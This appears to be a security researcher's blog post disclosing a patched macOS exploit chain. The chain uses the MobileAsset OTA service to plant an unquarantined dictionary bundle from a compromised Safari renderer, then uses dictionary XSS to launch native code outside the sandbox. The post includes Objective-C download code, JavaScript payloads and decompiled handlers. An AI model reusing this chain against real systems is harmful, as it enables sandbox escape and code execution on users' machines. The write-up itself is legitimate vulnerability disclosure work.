X Site eScape (Part II): Look Up a Shell in the Dictionary

This post is the last part of this silly series, but I think it’s the only noteworthy one. The exploit chain triggers two XSS across two privileged WebViews and bypasses GateKeeper to execute arbitrary native code outside the sandbox. It works on both High Sierra and Mojave.

The demo below is chained with LinusHenze/WebKit-RegEx-Exploit. The sandbox escape part worked for macOS up to 10.14.6

Arbitrary Resource Replacement in OTA

Sometimes the system pulls OTA resources from mesu.apple.com. This OTA component is implemented by the private framework MobileAsset and mobileassetd daemon. Interestingly, it’s accessible in WebProcess sandbox.

Source/WebKit/WebProcess/com.apple.WebProcess.sb.in#L601

(global-name "com.apple.mobileassetd")

The usage of this private API (more specifically, ASAssetQuery and ASAsset) can be found here:

https://opensource.apple.com/source/Security/Security-57740.51.3/OTAPKIAssetTool/OTAServiceApp.m.auto.html

This snippet gives you information for all installed dictionaries:

const static NSString *kVictim = @"com.apple.dictionary.AppleDictionary";
ASAssetQuery *query = [[ASAssetQuery alloc] initWithAssetType:kType];
query.predicate = [NSPredicate predicateWithFormat:
 @"DictionaryIdentifier == [c]%@ "
 /*@"and __DownloadState == [c]'Downloaded' "*/, kVictim];
NSError *err = NULL;
[query runQueryAndReturnError:&err];
NSArray *results = [query results];

On macOS, these assets are located in /System/Library/Assets(V2?), while /var/MobileAssets is for iOS. This location is protected by SIP on mac, and it seems like there is a similar protection on iOS. Process mobileassetd will check if the desired type is in a hard-coded list; otherwise, it will require the client to have an entitlement named com.apple.private.assets.accessible-asset-types, whose value is a list for all the necessary asset types:

__int64 ___isAssetTypeWhitelisted_block_invoke()
{
  _isAssetTypeWhitelisted_explicitWhitelist = CFSetCreateMutable(kCFAllocatorDefault, 0LL, &kCFTypeSetCallBacks);
  CFSetAddValue(
  _isAssetTypeWhitelisted_explicitWhitelist,
  CFSTR("com.apple.MobileAsset.DictionaryServices.dictionaryOSX"));
  CFSetAddValue(
  _isAssetTypeWhitelisted_explicitWhitelist,
  CFSTR("com.apple.MobileAsset.DictionaryServices.dictionary2"));
  CFSetAddValue(
  _isAssetTypeWhitelisted_explicitWhitelist,
  CFSTR("com.apple.MobileAsset.DictionaryServices.availableDictionaries"));
  // ...Dictionary assets are allowed in this list.

An ASAsset object has some interesting properties:

Exploiting the daemon itself makes no sense. Though it’s got root privilege, it has a sandbox. After playing around with it, I just realized that I could supply an arbitrary URL to make it download that asset to the protected directory. Those delivered contents have no quarantine flag.

Additionally, MobileAsset checks the integrity of an asset, so we need to supply the following fields with the corresponding value:

- (void)setSource:(NSString *)remote {
    _source = remote;
    if (_attributes[@"__RemoteURL"]) {
        _attributes[@"__RemoteURL"] = remote;
    } else {
        NSURL *url = [NSURL URLWithString:remote];
        NSUInteger index = remote.length - url.path.length;
        _attributes[@"__RelativePath"] = url.path;
        _attributes[@"__BaseURL"] = [remote substringToIndex:index];
    }
}

- (void)update:(NSDictionary *)meta {
    for (id key in meta) {
        _attributes[key] = meta[key];
    }
}

- (boolean_t)downloadNonBlocking {
    return [self downloadAndWait:NO];
}

- (boolean_t)downloadBlocking {
    return [self downloadAndWait:YES];
}

- (boolean_t)downloadAndWait:(boolean_t)wait {
    if ([_asset isPresentOnDisk] && [_asset state] == 1) {
        // delete locally
        NSError *error = nil;
        [_asset purgeAndReturnError:&error];
        if (error) {
            LOG("warning: failed to purge local asset\n%@", error);
        }
    }

    NSDictionary *kDownloadOptions = @{
                                       @"DownloadOptionAllowWiFi": @YES,
                                       @"DownloadOptionAllow4G": @YES,
                                       @"DownloadOptionAllow3G": @YES,
                                       @"DownloadOptionAllow2G": @YES,
                                       @"DownloadOptionPriority": @"DownloadPriorityHigh",
                                       };

    _attributes[@"__DownloadState"] = @"AutomaticUpdate";
    ASAsset *asset = [[ASAsset alloc] initWithAssetType:kType attributes:_attributes];
    [asset setUserInitiatedDownload:YES];
    __block dispatch_semaphore_t sem = dispatch_semaphore_create(0);
    __block boolean_t ok = NO;
    [asset setProgressHandler:^(NSDictionary *state, NSError *err) {
        if (err) {
            LOG("error: %@", err);
            abort();
        } else if ([[state objectForKey:@"Operation"] isEqualToString:@"OperationCompleted"]) {
            ok = YES;
            dispatch_semaphore_signal(sem);
        } else if ([state[@"Operation"] isEqualToString:@"Stalled"]) {
            LOG("Network failure");
            abort();
        }
    }];
    [asset beginDownloadWithOptions:kDownloadOptions];
    if (wait) dispatch_semaphore_wait(sem, DISPATCH_TIME_FOREVER);
    return ok;
}

@end

Dictionary XSS to Command Execution

A dictionary bundle for macOS & iOS consists of embed HTML and indexes. Javascript is allowed. To build such a dictionary bundle, we need the Dictionary Development Kit from Additional Tools for Xcode.

How can I create a dictionary for Mac OS X?

In the WebView of Dictionary app (before 10.15), these few lines of javascript bring you a neat calculator.

a = document.createElement('a');
a.href = 'file:///Applications/Calculator.app';
a.click()

Wait, how could this even happen?

This delegate method handles navigation for the WebView:

Dictionary -[DictionaryController webView:decidePolicyForNavigationAction:request:frame:decisionListener:]:

element = objc_msgSend(action, "objectForKey:", WebActionElementKey);
linkURL = objc_msgSend(element, "objectForKey:", WebElementLinkURLKey);
frameName = objc_msgSend(frame, "name");

From the code above, only onclick event on an anchor can trigger this behavior. Traditional location redirection won’t work in this case!

Before 10.15 Dev Beta, file:/// URL would be sent to -[NSWorkspace openURL:] , which is a well known vector for executing local applications.

scheme = objc_msgSend(linkURL, "scheme");
// ...
if (objc_msgSend(scheme, "isEqualToString:", CFSTR("dictionary")) || objc_msgSend(scheme, "isEqualToString:", CFSTR("x-dictionary")) ) {
    // ...
} else if ( !objc_msgSend(identifier, "hasPrefix:", CFSTR("com.apple.dictionary.Wikipedia"))
        || objc_msgSend(scheme, "isEqualToString:", CFSTR("http"))
        || objc_msgSend(scheme, "isEqualToString:", CFSTR("https")) )
{
    workspace = objc_msgSend(&OBJC_CLASS___NSWorkspace, "sharedWorkspace");
    objc_msgSend(workspace, "openURL:", v46);
}
objc_msgSend(listener, "ignore");

Don’t know if this patch is intentional, but it breaks my exploit indeed. Now file:/// URL is no more qualified for this behavior:

else if (objc_msgSend(scheme, "isEqualToString:", CFSTR("http"))
        || objc_msgSend(scheme, "isEqualToString:", CFSTR("https")) )
{
    workspace = objc_msgSend(&OBJC_CLASS___NSWorkspace, "sharedWorkspace");
    objc_msgSend(workspace, "openURL:", v46);
}

Dictionary just happend to be dynamically updatable by OTA. So I can use the previous design issue to install malformed dictionary asset from a compromised Safari renderer process.

From WebContent Takeover to Dictionary.app

Still one thing left to do. How am I supposed to jump from Safari to Dictionary? URL scheme? But it prompts like this. It’s unacceptable.

There is a nice feature in Safari that you can look up a word in a QuickView fasion.

This floating window is triggable from WebProcess IPC by invoking WebKit::WebPage::performDictionaryLookupOfCurrentSelection(). It doesn’t ask user for permission.

WebKit/WebProcess/WebPage/Cocoa/WebPageCocoa.mm

To look up a certain word in Dictionary, we can create a text selection before exploiting WebKit.

<span id="key" style="font-size: 1px">ExploitStage1</span>
<script type="text/javascript">
(function() {
  const span = document.getElementById('key');
  const selection = window.getSelection();
  const range = document.createRange();
  range.selectNodeContents(span);
  selection.removeAllRanges();
  selection.addRange(range);
})()
</script>

Then the defination of ExploitStage1 will automatically pop out in this floating layer and triggers our first inter-process XSS. This window is not Dictionary app yet, it belongs to LookupViewService process. Its WebView has no custom delegate handler, so the default behavior in WebKitLegacy is triggered. Simply a locaiton.href navigation to an universal link will jump to another app without user confirmation.

* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.3
  * frame #0: 0x00007fff4445dda3 AppKit` -[NSWorkspace openURL:]
    frame #1: 0x00007fff54a3c7e1 WebKitLegacy` -[WebDefaultPolicyDelegate webView:decidePolicyForNavigationAction:request:frame:decisionListener:] + 241

Use dict://ExploitStage2 to finally open Dictionary app and load the second stage XSS.

Full Sandbox Escape

Since the MobileAssets framework does not set com.apple.quarantine attribute, we can just put an executable .app bundle and execute it. I’ve tried .terminal and .command as well. It didn’t work because Dictionary app has a com.apple.security.app-sandbox entitlement, with whom the Terminal app will decline to open the file.

Timeline